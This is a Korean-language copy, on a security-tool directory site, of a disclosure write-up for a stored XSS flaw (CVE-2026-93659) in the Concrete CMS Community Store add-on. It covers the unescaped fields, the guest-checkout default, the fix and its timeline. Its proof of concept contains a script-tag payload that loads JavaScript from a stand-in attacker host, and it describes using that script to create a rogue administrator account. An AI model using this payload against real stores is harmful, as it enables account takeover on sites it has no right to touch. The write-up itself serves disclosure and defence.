Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-93659-writeup — Concrete CMS Community Store의 저장형 XSS는 관리자 대시보드 탈취로 이어집니다 | Kitploit
도구/GitHubGitHub/prince325/cve-2026-93659-writeup
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPapers & ResearchLearning & EducationCurated Resources
GitHubprince325/cve-2026-93659-writeup

CVE-2026-93659-writeup

Concrete CMS Community Store의 저장형 XSS는 관리자 대시보드 탈취로 이어집니다

저장소 보기
14시간 59분 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-93659: Concrete CMS Community Store의 저장형 XSS로 인한 관리자 대시보드 탈취

요약

CVECVE-2026-93659
구성 요소concretecms-community-store/community_store
유형저장형 크로스 사이트 스크립팅 (CWE-79)
심각도CVSS v4.0 9.3 치명적 / v3.1 8.7 높음
영향 받는 버전2.7.8 이전 모든 버전
수정된 버전2.7.8
공로Prince Edem Fiagbedzi (발견자)

Concrete CMS용 오픈소스 전자상거래 애드온인 Community Store는 고객이 제공한 주문 필드를 살균하지 않고 저장했으며, 네 개의 관리자 대상 뷰에서 HTML 이스케이프 없이 렌더링했습니다. 인증되지 않은 방문자 누구나 청구지 이름과 같은 필드에 스크립트 페이로드를 넣어 주문할 수 있었고, 해당 페이로드는 상점 관리자가 다음에 그 주문을 열 때 인증된 대시보드 세션 내에서 실행되어, 악성 관리자 계정을 생성하거나 세션 데이터를 유출하기에 충분했습니다.

영향 받는 대상

모든 주문에는 고객이 제공한 필드가 포함됩니다: 청구지/배송지 이름, 성, 이메일, 전화번호. 이러한 필드는 그대로 저장되며 상점 관리자가 일상적으로 확인하는 네 곳에서 다시 렌더링됩니다:

  • 관리자 주문 뷰 (single_pages/dashboard/store/orders.php)
  • 인쇄 가능한 주문 전표 (elements/order_slip.php)
  • 판매 보고서 (single_pages/dashboard/store/reports/*.php)
  • 고객 대상 결제 확인 페이지 (single_pages/checkout/complete.php)

결정적으로, 주문을 하려면 계정이 필요하지 않습니다. Community Store의 게스트 결제 설정은 기본값이 always이며, 이는 패키지 자체의 설치 프로그램이 모든 새 설치에서 설정하는 값으로, 상점 운영자가 선택해야 하는 것이 아닙니다. 따라서 이는 잘못 구성된 상점이 필요한 버그가 아니라, 기본 상태의 즉시 사용 가능한 설치에서 자격 증명 없이 악용 가능한 취약점입니다.

완화 방안

Community Store를 2.7.8 이상으로 업데이트하십시오. 이 수정은 영향을 받는 네 개의 렌더링 위치 모두에 적절한 출력 이스케이프를 추가합니다. 취약한 동작은 토글이 아니라 이스케이프 자체이므로, 업그레이드 외에 구성 우회 방법은 없습니다.

기술적 세부 사항

네 개의 렌더링 위치 중 어느 것도 고객이 제어하는 필드를 이스케이프하지 않았습니다. 관리자 주문 뷰의 대표적인 줄:

root@kitploit:~
<?= $order->getAttribute("billing_first_name"). " " . $order->getAttribute("billing_last_name")?><br>

Concrete의 표준 출력 이스케이프 헬퍼인 h() 호출이 근처에 전혀 없었으며, 같은 파일의 몇 줄 떨어진 곳에서는 다른 값에 대해 h()를 올바르게 사용하고 있었습니다. 입력 검증도 나을 것이 없었습니다: 이 필드에 적용된 유일한 검사는 길이 제한(1-255자)이었고, HTML을 제거하거나 거부하는 것은 없었습니다.

root@kitploit:~
if (strlen($data['store-checkout']['first-name']) < 1) { ... }
if (strlen($data['store-checkout']['first-name']) > 255) { ... }
// no HTML sanitization

청구지 이름 필드에 255자 미만의 <script> 페이로드는 검증을 그대로 통과하고, 저장되며, 나중에 관리자가 주문을 볼 때마다 이스케이프 없이 렌더링됩니다.

게스트 결제 기본값은 설치 프로그램에서 직접 설정됩니다:

root@kitploit:~
// src/CommunityStore/Utilities/Installer.php
$this->config->save('community_store', [
    ...
    'guestCheckout' => 'always'
]);

결제 컨트롤러는 해당 설정이 off일 때(또는 게스트 플래그 없는 option일 때)만 로그인을 강제하며, 설치된 기본값에서는 그 분기가 절대 실행되지 않습니다.

개념 증명

Concrete CMS 9.5.2의 Community Store v2.7.7에 대해 테스트했습니다(자체 호스팅 Docker 랩, PHP 8.3). 페이로드는 일반 게스트 결제로 제출되었으며, 어떠한 인증도 없었습니다:

root@kitploit:~
billing_first_name = <script src="https://attacker-controlled.example/payload.js"></script>
  1. 공격자가 위 페이로드로 정상처럼 보이는 결제를 제출합니다. 계정도, 세션도, 쿠키도 없습니다.
  2. 상점 관리자가 Dashboard > Store > Orders를 열고 주문을 봅니다(페이로드는 주문 전표, 판매 보고서, 또는 고객 자신의 확인 이메일에서도 동일하게 실행됩니다; 네 개의 이스케이프되지 않은 렌더링 경로 중 어느 것이든 작동합니다).
  3. 스크립트는 상점 관리자의 인증된 세션과 CSRF 토큰으로 실행됩니다. 단순한 경고 상자가 아닌 실제 영향을 확인하기 위해, 외부 공격자처럼 직접 페이로드를 호스팅하고, 이를 사용해 해당 세션 내부에서 "관리자 추가" 양식을 프로그래밍 방식으로 제출하여, 단일 악성 주문을 완전한 관리자 계정 탈취로 전환했습니다.

공개 타임라인

  • 비공개 GitHub 보안 권고를 통해 유지관리자에게 보고됨
  • Ryan Hewitt가 커밋 2a802d6으로 수정 사항을 배포하여, 영향을 받는 네 개의 렌더링 위치 모두에 h() 이스케이프를 추가함
  • 수정 사항이 v2.7.8 릴리스에 포함됨
  • CVE-2026-93659가 CNA로서 VulnCheck를 통해 게시되었으며, 발견자로 저를 기재함

시사점

  • 출력 이스케이프는 주어진 값에 대해 모든 렌더링 경로에 일관되게 적용되어야 하며, 명백한 경로만이 아닙니다. 이 버그가 수년간 배포된 이유는 네 개의 렌더링 위치 중 세 개가 네 번째가 올바르게 처리된 후에도 분명히 다시 검토되지 않았기 때문입니다.
  • 구성 가능한 게스트 액세스가 있는 애드온의 경우 "계정이 필요하다"는 위협 모델을 구축할 안전한 가정이 아닙니다. 이론적인 안전 구성이 아니라 실제 배포된 기본값을 확인하십시오.
  • 인기 있는 CMS 플랫폼용 마켓플레이스/커뮤니티 애드온은 버그 헌팅을 시작하기 좋은 곳입니다: 실제 설치 기반이 있고, 코어보다 감사가 확실히 덜 이루어집니다.

참고 자료

  • CVE-2026-93659
  • 수정 커밋 2a802d6
  • v2.7.8 릴리스 노트
  • Community Store 저장소
도구 다운로드